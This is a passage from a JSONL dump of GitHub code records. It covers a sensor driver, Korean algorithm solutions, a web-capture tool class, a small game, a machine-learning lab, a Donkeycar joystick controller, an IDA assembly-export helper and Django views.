((temp_data[1] >> 4) << 4)) << 8)\r\n # Return values\r\n return temp_data\r\n \r\n \r\n def get_axes_and_temp(self):\r\n \r\n # Reading data\r\n x_data = [self.read_data(XDATA_L), self.read_data(XDATA_H)]\r\n y_data = [self.read_data(YDATA_L), self.read_data(YDATA_H)]\r\n z_data = [self.read_data(ZDATA_L), self.read_data(ZDATA_H)]\r\n temp_data = [self.read_data(TEMP_L), self.read_data(TEMP_H)]\r\n # Join data\r\n x_data = (x_data[0] >> 4) + (x_data[1] << 4)\r\n y_data = (y_data[0] >> 4) + (y_data[1] << 4)\r\n z_data = (z_data[0] >> 4) + (z_data[1] << 4)\r\n temp_data = ((temp_data[1] - ((temp_data[1] >> 4) << 4)) \\\r\n << 8) + (temp_data[0] << 0)\r\n # Apply two complement\r\n if (x_data & (1 << 19)) != 0:\r\n x_data = x_data - (1 << 20)\r\n if (y_data & (1 << 19)) != 0:\r\n y_data = y_data - (1 << 20)\r\n if (z_data & (1 << 19)) != 0:\r\n z_data = z_data - (1 << 20)\r\n # Return values\r\n return [-x_data, -y_data, -z_data, temp_data]\r\n \r\n \r\n def set_ODR_and_filter(self, odr_lpf, hpf_filter):\r\n\r\n # Read register before modifying\r\n data = self.read_data(FILTER_CTL)\r\n # Preserve reserved data\r\n data = ((data >> 7) << 7)\r\n # Join data\r\n data = data + (hpf_filter << 4) + odr_lpf\r\n # Write data\r\n self.write_data(FILTER_CTL, data)\r\n \r\n \r\n def get_ODR_and_filter(self):\r\n\r\n # Read data\r\n raw_data = self.read_data(FILTER_CTL)\r\n odr_lpf = raw_data - ((raw_data >> 4) << 4)\r\n hpf_filter = (raw_data >> 4)\r\n hpf_filter = hpf_filter - ((hpf_filter >> 3) << 3)\r\n # Return values\r\n return [odr_lpf, hpf_filter]\r\n \r\n \r\n def set_sync(self, ext_clk, ext_sync):\r\n \r\n # Read data on register before modifiying\r\n data = self.read_data(SYNC)\r\n # Preserve reserved bits\r\n data = ((data >> 3) << 3)\r\n # Join data, not modifying reserved data\r\n data = (data) + (ext_clk << 2) + ext_sync\r\n # Write data\r\n self.write_data(SYNC, data)\r\n \r\n \r\n def get_sync(self):\r\n \r\n # Read data\r\n raw_data = self.read_data(SYNC)\r\n # Split bits\r\n ext_sync = raw_data - ((raw_data >> 2) << 2)\r\n ext_clk = (raw_data >> 2)\r\n ext_clk = ext_clk - ((ext_clk >> 1) << 1)\r\n # Return values\r\n return [ext_clk, ext_sync]\r\n \r\n \r\n def get_status(self):\r\n \r\n # Read data\r\n raw_data = self.read_data(STATUS)\r\n # Split bits\r\n data_rdy = raw_data - ((raw_data >> 1) << 1)\r\n raw_data = (raw_data >> 1)\r\n fifo_full = raw_data - ((raw_data >> 1) << 1)\r\n raw_data = (raw_data >> 1)\r\n fifo_ovr = raw_data - ((raw_data >> 1) << 1)\r\n raw_data = (raw_data >> 1)\r\n activity = raw_data - ((raw_data >> 1) << 1)\r\n raw_data = (raw_data >> 1)\r\n nvm_busy = raw_data - ((raw_data >> 1) << 1)\r\n # Return values\r\n return [data_rdy, fifo_full, fifo_ovr, activity, \\\r\n nvm_busy]\r\n \r\n \n \r\n def get_offsets(self):\n def twos_comp(val,bits=8):\n if (val & (1<<(bits-1)))!=0:\n val=val-(1<<bits)\n return (val)\n x_data=[(self.read_data(XDATA_L)-self.read_data(XDATA)) ,(self.read_data(XDATA_H)-self.read_data(XDATA))]\n y_data=[(self.read_data(YDATA_L)-self.read_data(YDATA)) ,(self.read_data(YDATA_H)-self.read_data(YDATA))]\n z_data=[(self.read_data(ZDATA_L)-self.read_data(ZDATA)) ,(self.read_data(ZDATA_H)-self.read_data(ZDATA))]\n x_data=x_data[1]+(x_data[0]<<8)\n y_data=y_data[1]+(y_data[0]<<8)\n z_data=z_data[1]+(z_data[0]<<8)\n x_data=(x_data<<4)\n y_data=(y_data<<4)\n z_data=(z_data<<4)\n x_data=twos_comp(x_data,20)\n y_data=twos_comp(y_data,20)\n z_data=twos_comp(z_data,20)\n return ([x_data,y_data,z_data])\n \r\n \r\n \r\n def reset_settings(self):\r\n \r\n # Reset command\r\n self.write_data(SOFT_RESET, 0x52)\r\n","repo_name":"laura367/ADXL362","sub_path":"adxl362.py","file_name":"adxl362.py","file_ext":"py","file_size_in_byte":7693,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"69"} +{"seq_id":"2724175477","text":"\"\"\"\nD킬로미터의 고속도로 -> 커브가 많다. 지름길 -> 모든 지름길은 일방통행이고 역주행 X\n운전해야 하는 거리의 최솟값\n첫째 줄 지름길의 개수 N(N<=12),고속도로 길이 D(D<=10000)\n다음줄부터 N개 줄에 지름길의 시작 위치, 도착 위치, 지름길의 길이가 주어진다.\n모든 위치와 길이는 10000보다 작거나 같은 음이 아닌 정수이다.\n지름길의 시작 위치는 도착 위치보다 작다.\n\"\"\"\n\n# 거리 하나하나를 노드로 보기\n# 노드로 보았을때 일단 최소 거리는 for 문을 통해 1로 초기화 (노드 i 에서 다음 노드 i+1까���의 거리는 1)\n# 이후 지름길의 정보가 들어오면 graph에 추가\n# 만약 지름길의 정보에서 지름길이 끝나는지점이 목표지점 D보다 크면 추가X\nimport heapq\nimport sys\ninput = sys.stdin.readline\n\ndef dijkstra(start):\n q = []\n heapq.heappush(q,(0,start))\n distance[start] = 0\n while q:\n dist, now = heapq.heappop(q)\n\n #지금 힙큐에서 뺀게 now까지 가는데 최소비용이 아닐수도 있으니 체크\n if dist > distance[now]:\n continue\n\n for i in graph[now]:\n cost = dist + i[1]\n if cost < distance[i[0]]:\n distance[i[0]] = cost\n heapq.heappush(q,(cost, i[0]))\n\n\nN , D = map(int,input().split())\ngraph = [[] for _ in range(D+1)]\ndistance = [float('inf')] * (D+1)\n\n# 일단 거리 1로 초기화.\nfor i in range(D):\n graph[i].append((i+1, 1))\n\n# 지름길 있는 경우에 업데이트\nfor _ in range(N):\n start, end, length = map(int,input().split())\n if end > D: # 끝나는 지점이 목표지점보다 큰 경우 고려 ㄴㄴ\n continue\n graph[start].append((end,length))\n\ndijkstra(0)\nprint(distance[D])","repo_name":"smu-Inyro-algorithm-study/study-Time-is-NULL-NULL","sub_path":"06주차/EJ/1446.py","file_name":"1446.py","file_ext":"py","file_size_in_byte":1830,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"69"} +{"seq_id":"37969351840","text":"import sys\n\nsys.setrecursionlimit(10**5)\nn = int(sys.stdin.readline())\nvideo = []\nparam = 0\nfor _ in range(n):\n video.append(list(sys.stdin.readline().strip()))\nwhile n != 1:\n param += 1\n n /= 2\nx = [0, 1]\nresult = \"\"\n\ndef quadTree(idx, num):\n global result\n for i in range(idx[0], idx[0]+2**num):\n for j in range(idx[1], idx[1]+2**num):\n if video[i][j] != video[idx[0]][idx[1]]:\n result += \"(\"\n for l in x:\n for r in x:\n quadTree((idx[0]+2**(num-1)*l, idx[1]+2**(num-1)*r), num-1)\n result += \")\"\n return\n result += str(video[idx[0]][idx[1]])\n\nquadTree((0,0), param)\n\nprint(result)","repo_name":"mudrhs1997/Algorithm","sub_path":"BOJ/Python/쿼드트리_1992.py","file_name":"쿼드트리_1992.py","file_ext":"py","file_size_in_byte":719,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"69"} +{"seq_id":"16906581781","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\nimport json\n\nfrom scrapysplashwrapper import crawl\nfrom har2tree import CrawledTree, Har2TreeError\nimport pickle\n\nfrom datetime import datetime\n\nimport tempfile\nimport pathlib\nimport time\n\nimport ipaddress\nimport socket\nfrom urllib.parse import urlsplit\n\nfrom io import BytesIO\nimport base64\nfrom uuid import uuid4\n\nfrom pysanejs import SaneJS\n\nfrom pathlib import Path\nfrom .helpers import get_homedir, get_socket_path\nfrom .exceptions import NoValidHarFile\nfrom redis import Redis\n\nimport logging\n\n\nclass Lookyloo():\n\n def __init__(self, splash_url: str='http://127.0.0.1:8050', loglevel: int=logging.DEBUG, only_global_lookups=False):\n self.__init_logger(loglevel)\n self.redis = Redis(unix_socket_path=get_socket_path('cache'), decode_responses=True)\n self.scrape_dir = get_homedir() / 'scraped'\n self.splash_url = splash_url\n self.only_global_lookups = only_global_lookups\n if not self.scrape_dir.exists():\n self.scrape_dir.mkdir(parents=True, exist_ok=True)\n\n if not self.redis.exists('cache_loaded'):\n self._init_existing_dumps()\n\n # Try to reach sanejs\n self.sanejs = SaneJS()\n if not self.sanejs.is_up:\n self.sanejs = None\n\n def __init_logger(self, loglevel) -> None:\n self.logger = logging.getLogger(f'{self.__class__.__name__}')\n self.logger.setLevel(loglevel)\n\n def _set_report_cache(self, report_dir: str):\n if self.redis.exists(str(report_dir)):\n return\n har_files = sorted(report_dir.glob('*.har'))\n if not har_files:\n self.logger.warning(f'No har files in {report_dir}')\n if (report_dir / 'uuid').exists():\n (report_dir / 'uuid').unlink()\n if (report_dir / 'no_index').exists():\n (report_dir / 'no_index').unlink()\n report_dir.rmdir()\n return\n with (report_dir / 'uuid').open() as f:\n uuid = f.read().strip()\n with har_files[0].open() as f:\n j = json.load(f)\n title = j['log']['pages'][0]['title']\n if not title:\n title = '!! No title found !! '\n cache = {'uuid': uuid, 'title': title}\n if (report_dir / 'no_index').exists(): # If the folders claims anonymity\n cache['no_index'] = 1\n if uuid and not self.redis.exists(str(report_dir)):\n self.redis.hmset(str(report_dir), cache)\n self.redis.hset('lookup_dirs', uuid, str(report_dir))\n\n def report_cache(self, report_dir) -> dict:\n if isinstance(report_dir, Path):\n report_dir = str(report_dir)\n return self.redis.hgetall(report_dir)\n\n def _init_existing_dumps(self):\n for report_dir in self.report_dirs:\n if report_dir.exists():\n self._set_report_cache(report_dir)\n self.redis.set('cache_loaded', 1)\n\n @property\n def report_dirs(self):\n for report_dir in self.scrape_dir.iterdir():\n if report_dir.is_dir() and not report_dir.iterdir():\n # Cleanup self.scrape_dir of failed runs.\n report_dir.rmdir()\n if not (report_dir / 'uuid').exists():\n # Create uuid if missing\n with (report_dir / 'uuid').open('w') as f:\n f.write(str(uuid4()))\n return sorted(self.scrape_dir.iterdir(), reverse=True)\n\n def lookup_report_dir(self, uuid) -> Path:\n report_dir = self.redis.hget('lookup_dirs', uuid)\n if report_dir:\n return Path(report_dir)\n return None\n\n def enqueue_scrape(self, query: dict):\n perma_uuid = str(uuid4())\n p = self.redis.pipeline()\n p.hmset(perma_uuid, query)\n p.sadd('to_scrape', perma_uuid)\n p.execute()\n return perma_uuid\n\n def process_scrape_queue(self):\n uuid = self.redis.spop('to_scrape')\n if not uuid:\n return None\n to_scrape = self.redis.hgetall(uuid)\n self.redis.delete(uuid)\n to_scrape['perma_uuid'] = uuid\n if self.scrape(**to_scrape):\n self.logger.info(f'Processed {to_scrape[\"url\"]}')\n return True\n return False\n\n def load_tree(self, report_dir: Path):\n har_files = sorted(report_dir.glob('*.har'))\n try:\n meta = {}\n if (report_dir / 'meta').exists():\n with open((report_dir / 'meta'), 'r') as f:\n meta = json.load(f)\n ct = CrawledTree(har_files)\n ct.find_parents()\n ct.join_trees()\n temp = tempfile.NamedTemporaryFile(prefix='lookyloo', delete=False)\n pickle.dump(ct, temp)\n temp.close()\n return temp.name, ct.to_json(), ct.start_time.isoformat(), ct.user_agent, ct.root_url, meta\n except Har2TreeError as e:\n raise NoValidHarFile(e.message)\n\n def cleanup_old_tmpfiles(self):\n for tmpfile in pathlib.Path(tempfile.gettempdir()).glob('lookyloo*'):\n if time.time() - tmpfile.stat().st_atime > 36000:\n tmpfile.unlink()\n\n def load_image(self, report_dir):\n with open(list(report_dir.glob('*.png'))[0], 'rb') as f:\n return BytesIO(f.read())\n\n def sane_js_query(self, sha512: str):\n if self.sanejs:\n return self.sanejs.sha512(sha512)\n return {'response': []}\n\n def scrape(self, url, depth: int=1, listing: bool=True, user_agent: str=None, perma_uuid: str=None,\n os: str=None, browser: str=None):\n if not url.startswith('http'):\n url = f'http://{url}'\n if self.only_global_lookups:\n splitted_url = urlsplit(url)\n if splitted_url.netloc:\n ip = socket.gethostbyname(splitted_url.hostname)\n if not ipaddress.ip_address(ip).is_global:\n return False\n else:\n return False\n\n items = crawl(self.splash_url, url, depth, user_agent=user_agent, log_enabled=True, log_level='INFO')\n if not items:\n # broken\n return False\n if not perma_uuid:\n perma_uuid = str(uuid4())\n width = len(str(len(items)))\n dirpath = self.scrape_dir / datetime.now().isoformat()\n dirpath.mkdir()\n for i, item in enumerate(items):\n harfile = item['har']\n png = base64.b64decode(item['png'])\n child_frames = item['childFrames']\n html = item['html']\n with (dirpath / '{0:0{width}}.har'.format(i, width=width)).open('w') as f:\n json.dump(harfile, f)\n with (dirpath / '{0:0{width}}.png'.format(i, width=width)).open('wb') as f:\n f.write(png)\n with (dirpath / '{0:0{width}}.html'.format(i, width=width)).open('w') as f:\n f.write(html)\n with (dirpath / '{0:0{width}}.frames.json'.format(i, width=width)).open('w') as f:\n json.dump(child_frames, f)\n with (dirpath / 'uuid').open('w') as f:\n f.write(perma_uuid)\n if not listing: # Write no_index marker\n (dirpath / 'no_index').touch()\n if os or browser:\n meta = {}\n if os:\n meta['os'] = os\n if browser:\n meta['browser'] = browser\n with (dirpath / 'meta').open('w') as f:\n json.dump(meta, f)\n self._set_report_cache(dirpath)\n return perma_uuid\n","repo_name":"sbrichardson/lookyloo","sub_path":"lookyloo/lookyloo.py","file_name":"lookyloo.py","file_ext":"py","file_size_in_byte":7613,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"69"} +{"seq_id":"35269963616","text":"# Problem 1261\n# Date completed: 2019/11/21 \n\n# 132 ms (11%)\n# Definition for a binary tree node.\n# class TreeNode:\n# def __init__(self, x):\n# self.val = x\n# self.left = None\n# self.right = None\n\nclass FindElements:\n\n def __init__(self, root: TreeNode):\n root.val = 0\n \n queue = [root]\n self.max = 0\n def setNode(node,val):\n if node: \n node.val = val\n queue.append(node)\n self.max = max(self.max,val)\n \n while queue:\n node = queue.pop(0)\n setNode(node.left, 2*node.val+1)\n setNode(node.right, 2*node.val+2) \n \n self.root = root\n\n \n def find(self, target: int) -> bool:\n\n if target > self.max: return False\n \n isLeftArr = []\n while target>0:\n isLeftArr.append(target%2==1)\n target = (target-1)//2\n \n node = self.root\n while isLeftArr:\n isLeft = isLeftArr.pop()\n if (isLeft and node.left) or ((not isLeft) and node.right):\n node = node.left if isLeft else node.right\n else:\n return False\n \n return True\n\n# Your FindElements object will be instantiated and called as such:\n# obj = FindElements(root)\n# param_1 = obj.find(target)\n","repo_name":"actcheng/leetcode-solutions","sub_path":"1261_Find_Elements_in_a_Contaminated_Binary_Tree.py","file_name":"1261_Find_Elements_in_a_Contaminated_Binary_Tree.py","file_ext":"py","file_size_in_byte":1377,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"69"} +{"seq_id":"33688348530","text":"def solution(routes):\n answer = 0\n routes.sort(key=lambda x: x[1])\n prev = -30001\n for r in routes:\n if r[0] > prev:\n prev = r[1]\n answer +=1\n return answer\n\n\nprint(solution([[-20, 15], [-14, -5], [-18, -13], [-5, -3]]\t))\n","repo_name":"jmseb3/bakjoon","sub_path":"Prgrammers/lv3/단속카메라.py","file_name":"단속카메라.py","file_ext":"py","file_size_in_byte":266,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"69"} +{"seq_id":"19693483715","text":"from game import *\nimport random\n\nclass Rps_game(Game):\n \n #생성자\n def __init__(self, name):\n super().__init__(name)\n\n #가위바위보게임 실행\n def start(self):\n self.score=0\n\n print(\"\\n========================== 가위바위보 게임 ==========================\")\n for i in range(1,5+1): #5번\n print(\"\\n< \"+str(i)+\"번째 > \")\n user=int(input(\"어떤 걸 내시겠습니까?(1: 가위\\t2: 바위\\t3: 보): \"))\n computer = random.randint(1,3) #유저가 낼 것 입력받기\n\n if user >= 1&user<=3: #가위, 바위, 보 중에 입력했을 경우\n self.play(user,computer) #가위바위보하기\n else: #잘못입력한 경우\n print(\"잘못입력하셨으므로 기회를 잃었습니다.\")\n continue\n \n self.result() #가위바위보게임 결과\n\n #가위바위보하기\n def play(self,user,computer):\n #가위, 바위, 보 선택할 수 있게 리스트를 만듬\n rps = [\"가위\",\"바위\",\"보\"]\n\n #유저와 컴퓨터가 낸 것\n print(\"\\n\"+self.name+\": \"+rps[user-1])\n print(\"컴퓨터: \"+rps[computer-1])\n\n #가위바위보할 때 마다 알려주는 결과\n \n print(\"- 결과 -\")\n if user ==1: #유저: 가위\n if computer==1: #컴퓨터: 가위\n self.draw() #비김\n elif computer == 2: #컴퓨터: 바위\n self.lose() #유저 패\n elif computer==3: #컴퓨터: 보\n self.win() #유저 승\n self.score+=1 #점수 +1\n elif user==2: #유저: 바위\n if computer==1: #컴퓨터: 가위\n self.win() #유저 승\n self.score+=1 #점수 +1\n elif computer == 2: #컴퓨터: 바위\n self.draw() #비김\n elif computer==3: #컴퓨터: 보\n self.lose() #유저 패\n elif user==3: #유저: 보\n if computer==1: #컴퓨터: 가위\n self.lose() #유저 패\n elif computer == 2: #컴퓨터: 바위\n self.win() #유저 승\n self.score+=1 #점수 +1\n elif computer==3: #컴퓨터: 보\n self.draw() #비김\n \n #비겼을 때\n def draw(self):\n print(\"비겼습니다.\")\n #이겼을 때\n def win(self):\n print(self.name+\" 승리\")\n #졌을 때\n def lose(self):\n print(\"컴퓨터 승리\")\n\n #가위바위보게임 결과\n def result(self):\n print(\"\\n< < 결과 > >\")\n if self.score >= 2: #2번 이상 이겼을 경우\n print(self.name+\"님, 가위바위보 2번이상 이겼으므로 2점을 획득하셨습니다.\")\n Game.total+=2 #총점 +2\n else: #2번 이상 이기지 못했을 경우\n print(self.name+\"님, 가위바위보 2번이상 이기지 못하여 실패하셨습니다.\")\n print(\"=========================================================================\")","repo_name":"LHyunSoo/Programming-Python-","sub_path":"과제/python_수행평가2_2315 이현수/rps_game.py","file_name":"rps_game.py","file_ext":"py","file_size_in_byte":3236,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"69"} +{"seq_id":"39117322740","text":"\nfrom sklearn.metrics import confusion_matrix\nimport pandas as pd\nfrom sklearn import preprocessing\nfrom sklearn.neighbors import KNeighborsClassifier as KNC\nfrom sklearn import metrics\nimport matplotlib.pyplot as plt\nfrom scipy.stats import norm\nimport numpy as np\nfrom sklearn.model_selection import train_test_split\nimport math\n\ndf=pd.read_csv(\"a.csv\")\nx = df.iloc[:,:8].values\nx=preprocessing.scale(x)\ndf1=pd.DataFrame(x)\ndf1[\"class\"]=df[\"class\"]\n\n\ndf_01=df1[df[\"class\"]==0]\ndf_02=df1[df[\"class\"]==1]\nX_train0,X_test0,Y_train0,Y_test0=train_test_split(df_01.iloc[:,:8],df_01[\"class\"],test_size=0.3,random_state=42)\nX_train1,X_test1,Y_train1,Y_test1=train_test_split(df_02.iloc[:,:8],df_02[\"class\"],test_size=0.3,random_state=42)\n\nX_Train=pd.concat([X_train0,X_train1])\nX_Test=pd.concat([X_test0,X_test1])\n\nY_Train=pd.concat([Y_train0,Y_train1])\nY_Test=pd.concat([Y_test0,Y_test1])\n\n\n# K nearest Neighbors\nkk=[1,3,5,7,9,11,13,15,17,21]\naccu=[]\nmat=[]\nfor x in kk:\n knn=KNC(n_neighbors=x)\n knn.fit(X_Train,Y_Train)\n pred=knn.predict(X_Test)\n accu.append(metrics.accuracy_score(Y_Test,pred))\n mat.append(metrics.confusion_matrix(Y_Test,pred))\n\nmm=np.argmax(accu)\nk_val=kk[mm]\n#plt.plot(kk,accu)\n#plt.show()\n#print(\"Max accuracy value\",accu[mm],\"at k=\",k_val)\n\n#Naive Bayes\n\nfrom sklearn.mixture import GaussianMixture as GMM\nimport math\ngmm=GMM(n_components=4).fit(X_train0)\nprob0=gmm.predict_proba(X_test0)\nProb0=gmm.predict_proba(X_test1)\n\ngmm1=GMM(n_components=4).fit(X_train1)\nprob1=gmm1.predict_proba(X_test0)\nProb1=gmm1.predict_proba(X_test1)\n\n\n\n\n\ncl1=[]\ncl2=[]\nfor i in range(len(prob1)):\n sum1=1\n sum2=1\n for x in prob1[i]:\n sum1=sum1*x\n for x in prob0[i]:\n sum2=sum2*x\n if(sum1>sum2):\n cl1.append(1)\n else:\n cl1.append(0)\n \nfor i in range(len(Prob1)):\n sum1=1\n sum2=1\n for x in Prob1[i]:\n sum1=sum1*x\n for x in Prob0[i]:\n sum2=sum2*x\n if(sum1>sum2):\n cl2.append(1)\n else:\n cl2.append(0)\n\ncc=cl1+cl2\nprint(\"Accuracy Score :\",metrics.accuracy_score(cc,Y_Test))\ncon_matx=confusion_matrix(cc,Y_Test)\nprint(\"COnfusion Matrix: \\n\", con_matx)","repo_name":"ujjwalsoni1707/Machine-Learning","sub_path":"Lab_Assignmnets_solutions/lab 7/lab 7 di.py","file_name":"lab 7 di.py","file_ext":"py","file_size_in_byte":2155,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"69"} +{"seq_id":"30375726506","text":"import os\nimport logging\n\nfrom donkeycar.parts.controller import Joystick, JoystickController\nfrom typing import NoReturn\n\nfrom custom.PS4_led_control import PS4LEDControl\nfrom custom.ds4drv_last_mac_reader import Ds4drvLastMacReader\n\nlogger = logging.getLogger(__name__)\n\nRECORDING_BLINK_LED_ON = 10 # 100ms on, 100ms off\nRECORDING_BLINK_LED_OFF = 30 # 100ms on, 100ms off\n\nDEVICES_PIPE = \"/tmp/ds4drv-device.pipe\"\nDEVICES_LAST_ADDR = \"/tmp/ds4drv-device.lastaddr\"\n\n\nclass MyJoystick(Joystick):\n \"\"\"\n Totally not a copy of the xbox one joystick (because the ps4 one doesn't work on ps4 controllers)\n \"\"\"\n def __init__(self, *args, **kwargs):\n super(MyJoystick, self).__init__(*args, **kwargs)\n\n self._led_control = PS4LEDControl()\n self._ds4drv_mac_reader = Ds4drvLastMacReader(devices_pipe_path=DEVICES_PIPE,\n on_new_mac_addr=self._led_control.connect_to,\n last_device_addr_file=DEVICES_LAST_ADDR)\n self._ds4drv_mac_reader.start()\n # self._led_control.set_led(0, 255, 0) # Will be set when mac addr is known\n controller_color_hex = os.getenv('CONTROLLER_LED_COLOR')\n if controller_color_hex:\n self._led_control.set_led_hex(controller_color_hex)\n\n self.axis_names = {\n 0x00 : 'left_stick_horz',\n 0x01 : 'left_stick_vert',\n 0x05 : 'right_stick_vert',\n 0x02 : 'right_stick_horz',\n 0x0a : 'left_trigger',\n 0x09 : 'right_trigger',\n 0x10 : 'dpad_horiz',\n 0x11 : 'dpad_vert'\n }\n\n self.button_names = {\n 0x130: 'a_button',\n 0x131: 'b_button',\n 0x133: 'x_button',\n 0x134: 'y_button',\n 0x13b: 'options',\n 0x136: 'left_shoulder',\n 0x137: 'right_shoulder',\n }\n\n def __del__(self):\n \"\"\"\n Clearly disconnect.\n \"\"\"\n if self._led_control is not None:\n self._led_control.disconnect()\n\n\nclass MyJoystickController(JoystickController):\n \"\"\"\n A Controller object that maps inputs to actions\n credit:\n https://github.com/Ezward/donkeypart_ps3_controller/blob/master/donkeypart_ps3_controller/part.py\n \"\"\"\n def __init__(self, *args, **kwargs):\n super(MyJoystickController, self).__init__(*args, **kwargs)\n\n\n def init_js(self):\n \"\"\"\n attempt to init joystick\n \"\"\"\n try:\n self.js = MyJoystick(self.dev_fn)\n self.js.init()\n except FileNotFoundError:\n print(self.dev_fn, \"not found.\")\n self.js = None\n return self.js is not None\n\n\n def magnitude(self, reversed = False):\n def set_magnitude(axis_val):\n \"\"\"\n Maps raw axis values to magnitude.\n \"\"\"\n # Axis values range from -1. to 1.\n minimum = -1.\n maximum = 1.\n # Magnitude is now normalized in the range of 0 - 1.\n magnitude = (axis_val - minimum) / (maximum - minimum)\n if reversed:\n magnitude *= -1\n self.set_throttle(magnitude)\n return set_magnitude\n\n\n def init_trigger_maps(self):\n \"\"\"\n init set of mapping from buttons to function calls\n \"\"\"\n\n self.button_down_trigger_map = {\n 'a_button': self.toggle_mode,\n 'b_button': self.toggle_manual_recording,\n 'x_button': self.erase_last_N_records,\n 'y_button': self.emergency_stop,\n 'right_shoulder': self.increase_max_throttle,\n 'left_shoulder': self.decrease_max_throttle,\n 'options': self.toggle_constant_throttle,\n }\n\n self.axis_trigger_map = {\n 'left_stick_horz': self.set_steering,\n 'right_stick_vert': self.set_throttle,\n # Forza Mode\n 'right_trigger': self.magnitude(),\n 'left_trigger': self.magnitude(reversed = True),\n }\n\n def _on_recording_change(self) -> NoReturn:\n \"\"\"\n Run when recording state changes, add here all stuff you want to update.\n \"\"\"\n self._update_led_recording_sate()\n\n def _update_led_recording_sate(self) -> NoReturn:\n \"\"\"\n Update LED recording state, run when recording change.\n \"\"\"\n if self.recording:\n self.js._led_control.start_led_flash(RECORDING_BLINK_LED_ON, RECORDING_BLINK_LED_OFF)\n else:\n self.js._led_control.stop_led_flash()\n\n def run_threaded(self, img_arr=None, mode=None, recording=None):\n \"\"\"\n :param img_arr: current camera image or None\n :param mode: default user/mode\n :param recording: default recording mode\n \"\"\"\n # Saving some internal states to know if they will change\n controller_recording_before = self.recording\n other_parts_recording_before = recording\n\n # Update I/O\n outputs = super(MyJoystickController, self).run_threaded(img_arr=img_arr, mode=mode, recording=recording)\n\n # Check for changes, doing it like this we don't need to understand the update logic\n controller_recording_after = self.recording\n # 4th element of the output tuple is the recording sent to other parts\n other_parts_recording_after = outputs[3]\n controller_recording_changed = controller_recording_before != controller_recording_after\n other_parts_recording_changed = other_parts_recording_before != other_parts_recording_after\n if controller_recording_changed or other_parts_recording_changed: # Internal or external mutation sate\n self._on_recording_change()\n\n return outputs\n","repo_name":"unavered/donkeycarLPH","sub_path":"ansible/roles/mycar/files/my_joystick.py","file_name":"my_joystick.py","file_ext":"py","file_size_in_byte":5773,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"69"} +{"seq_id":"16149320001","text":"from IdaOperation import IdaOperation\r\nfrom Function import Function\r\nfrom Config import Config\r\nfrom AsmFile import AsmFile\r\nimport IdaOutput\r\nimport os\r\n\r\nclass Analyze(object):\r\n def __init__(self):\r\n self._tag = \"Analyze\"\r\n self._xreffuncs = []\r\n\r\n def getTag(self):\r\n return self._tag\r\n\r\n def recursiveAnalyze(self, addr_):\r\n idaop = IdaOperation()\r\n func = idaop.getFunctionByAddr(addr_)\r\n if func and func not in self._xreffuncs:\r\n self._xreffuncs.append(func)\r\n for ixreffunc in func.getXrefFuncs():\r\n subfunc = idaop.getFunctionByAddr(ixreffunc)\r\n if ixreffunc not in self._xreffuncs:\r\n self._xreffuncs.append(subfunc)\r\n self.recursiveAnalyze(ixreffunc)\r\n\r\n def getXrefFuncs(self):\r\n return self._xreffuncs\r\n\r\n def setXrefFuncs(self, funcs_):\r\n self._xreffuncs = funcs_\r\n\r\n def analyze(self, addr_):\r\n self.recursiveAnalyze(addr_)\r\n\r\n def store(self):\r\n for func in self._xreffuncs:\r\n funcname = func.getName()\r\n funcinsts = func.getInsts()\r\n funcaddr = func.getStart()\r\n\r\n filepath = os.path.join(Config().getAsmDir(), funcname + \".s\")\r\n asmfile = AsmFile()\r\n asmfile.setTextTag()\r\n asmfile.setAlignTag()\r\n asmfile.setCodeTag()\r\n asmfile.setThumbFuncTag(funcname)\r\n asmfile.setGlobalTag()\r\n asmfile.setFuncName(funcname)\r\n asmfile.setInsts(funcinsts)\r\n asmfile.setStorePath(filepath)\r\n asmfile.setSectionSeg()\r\n asmfile.setDataTag()\r\n asmfile.setLongTag()\r\n asmfile.setIndirectSymbolTag()\r\n asmfile.serializeToFile()","repo_name":"codingsf/AutoCopyArmCode","sub_path":"Analyze.py","file_name":"Analyze.py","file_ext":"py","file_size_in_byte":1785,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"69"} +{"seq_id":"38674010792","text":"from django.conf import settings\nfrom django.shortcuts import render, get_object_or_404\nfrom django.template.loader import render_to_string\nfrom .models import Digest\nfrom blog.models import Post\nfrom events.models import Event\nfrom projects.models import Project\nfrom resources.models import Resource\nfrom organisations.models import Organisation\nfrom dateutil.relativedelta import relativedelta\n\n\n# Create your views here.\n\n\ndef showDigests(request):\n\n return render(request, 'show_digests.html')\n\n\ndef showDigest(request, pk, mode='page'):\n digest = get_object_or_404(Digest, id=pk)\n info = {\"digest\": digest, \"domain\": settings.HOST}\n\n if(digest.includePosts):\n posts = Post.objects.filter(\n status=1,\n created_on__range=(digest.dateOrg, digest.dateEnd))\n info[\"posts\"] = posts\n\n if(digest.includeEvents):\n events = Event.objects.filter(\n approved=True,\n end_date__range=(digest.dateEnd, digest.dateEnd+relativedelta(months=+2)))\n info[\"events\"] = events\n\n if(digest.includeOrganisations):\n organisations = Organisation.objects.filter(\n dateCreated__range=(digest.dateOrg, digest.dateEnd))\n info[\"organisations\"] = organisations\n\n if(digest.includeProjects):\n projects = Project.objects.filter(\n approved=True,\n dateCreated__range=(digest.dateOrg, digest.dateEnd))\n print(projects.query)\n info[\"projects\"] = projects\n\n if(digest.includeResources):\n resources = Resource.objects.filter(\n isTrainingResource=False,\n approved=True,\n dateUploaded__range=(digest.dateOrg, digest.dateEnd))\n info[\"resources\"] = resources\n\n if(digest.includeTrainings):\n training = Resource.objects.filter(\n isTrainingResource=True,\n approved=True,\n dateUploaded__range=(digest.dateOrg, digest.dateEnd))\n info[\"training\"] = training\n\n print(info)\n\n if mode == 'string':\n return render_to_string('show_digest.html', info)\n else:\n return render(request, 'show_digest.html', 